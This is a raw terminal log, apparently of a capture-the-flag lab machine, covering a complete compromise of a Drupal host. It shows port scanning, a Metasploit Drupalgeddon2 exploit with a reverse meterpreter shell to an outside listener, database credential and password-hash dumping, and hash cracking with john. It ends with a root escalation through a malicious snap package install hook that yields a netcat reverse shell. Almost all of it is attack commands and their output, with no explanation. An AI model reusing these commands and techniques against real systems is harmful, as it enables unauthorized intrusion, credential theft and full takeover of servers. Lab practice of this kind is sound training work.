┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.233 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-24 13:10 CST Warning: 10.10.10.233 giving up on port because retransmission cap hit (10). RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 Nmap scan report for 10.10.10.233 Host is up (0.41s latency). Not shown: 52521 filtered tcp ports (no-response), 13012 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 91.60 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p22,80 -T4 --min-rate=5000 10.10.10.233 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-24 13:12 CST Nmap scan report for 10.10.10.233 Host is up (0.39s latency).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 52.39 seconds
┌──(kali㉿kali)-[~/桌面] └─$ msfconsole Metasploit tip: Metasploit can be configured at startup, see msfconsole --help to learn more msf6 > search 'Drupalgeddon2' Remote Code Execution [-] No results from search msf6 > search Drupalgeddon2
Matching Modules ================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/drupal_drupalgeddon2
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 172.16.230.130 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic (PHP In-Memory)
View the full module info with the info, or info -d command.
[*] Started reverse TCP handler on 10.10.14.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Sending stage (39927 bytes) to 10.10.10.233 [*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.233:36606) at 2023-12-24 13:28:09 +0800
meterpreter > shell Process 2385 created. Channel 0 created. id uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'describe users' Field Type Null Key Default Extra uid int(10) unsigned NO PRI 0 name varchar(60) NO UNI pass varchar(128) NO mail varchar(254) YES MUL theme varchar(255) NO signature varchar(255) NO signature_format varchar(255) YES NULL created int(11) NO MUL 0 access int(11) NO MUL 0 login int(11) NO 0 status tinyint(4) NO 0 timezone varchar(32) YES NULL language varchar(12) NO picture int(11) NO MUL 0 init varchar(254) YES data longblob YES NULL
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'select uid,name,pass,login from users' uid name pass login 0 0 1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt 1607076276
┌──(kali㉿kali)-[~/桌面] └─$ sudo john ./hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 ASIMD 2x]) Cost 1 (iteration count) is 32768 for all loaded hashes Will run 3 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status booboo (?) 1g 0:00:00:00 DONE (2023-12-24 13:43) 1.639g/s 472.1p/s 472.1c/s 472.1C/s alyssa..brenda Use the "--show" option to display all of the cracked passwords reliably Session completed.
COMMAND=id cd $(mktemp -d) mkdir -p meta/hooks printf'#!/bin/sh\n%s; false'"$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta
[brucetherealadmin@armageddon ~]$ cd /tmp [brucetherealadmin@armageddon tmp]$ ls gibshellplz_1.0_all.snap [brucetherealadmin@armageddon tmp]$ sudo snap install gibshellplz_1.0_all.snap --dangerous --devmode
┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 10086 listening on [any] 10086 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.10.233] 53286 bash: cannot set terminal process group (3172): Inappropriate ioctl for device bash: no job control in this shell bash-4.3# id id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0 bash-4.3# cat /root/root.txt cat /root/root.txt 8bb4322f36c2e554f3fde22a03f9f5da bash-4.3#
